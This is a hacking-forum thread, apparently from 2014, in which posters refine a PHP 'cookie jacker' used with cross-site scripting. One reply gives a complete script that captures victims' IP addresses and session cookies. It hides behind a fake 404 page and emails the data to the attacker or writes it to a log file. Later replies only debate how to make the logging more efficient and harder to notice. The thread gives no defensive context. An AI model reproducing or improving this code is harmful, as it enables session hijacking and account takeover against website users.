Login Register






Cookie Jacker - Written in PHP [XSS] filter_list
Author
Message
RE: Cookie Jacker - Written in PHP [XSS] #11
You also forgot semicolons:
PHP Code:
fwrite($oven,$message) fclose($oven)

I would've written it something like:
PHP Code:
<?php /* configuration */ $show_alert = FALSE; // show alert, otherwise faked 404 page $email_addr = 'youremail@domain.com'; // email to send data to $logfile = 'log.txt'; // logfile filepath $send_email = TRUE; // send email, otherwise write to logfile /* page display */ $alert = "<script>alert('All your cookies are mine.')</script>"; $fake_page = "<html><head><h1>404 File Not Found</h1></head></html>"; echo $show_alert ? $alert : $fake_page; /* message to write to log file or send in email */ $msg = "IP Address: {$_SERVER['REMOTE_ADDR']}\nCookies: {$GET['REQUEST']}"; if ($send_email) { mail($email_addr, 'Cookies', $msg); } else { if (($f_handle = fopen($logfile, 'a')) !== FALSE) exit(); fwrite($f_handle, $msg); fclose($f_handle); } ?>

Reply

RE: Cookie Jacker - Written in PHP [XSS] #12
PHP Code:
@file_put_contents($your, $dumb, FILE_APPEND);
Doing this with mail is an awful idea by the way. Enjoy your flood as soon as someone figures out your game.
PGP
Sign: F202 79C9 76F7 40BB 54EC 494F 5DEF 1D70 14C1 C4CC
Encrypt: A5B3 1B21 55E1 80AF 4C6E DE83 467B 8EFC 3DEE 681C
Auth: CD55 E8A5 1A08 2933 8BA6 BC88 D81F 1943 739A 3C47

Reply

RE: Cookie Jacker - Written in PHP [XSS] #13
(04-13-2014, 08:15 PM)Starfall Wrote:
PHP Code:
@file_put_contents($your, $dumb, FILE_APPEND);
Doing this with mail is an awful idea by the way. Enjoy your flood as soon as someone figures out your game.

http://web.archive.org/web/2010010910385..._contents/

Small, but worth the mention. The overhead of the function call being that file_put_contents() is a wrapper for those 3 methods would be the only significant part here, but if you're making successive calls to file_put_contents(), then perhaps you do not want to be using that function... In this particular case though, the difference is minimal.

Reply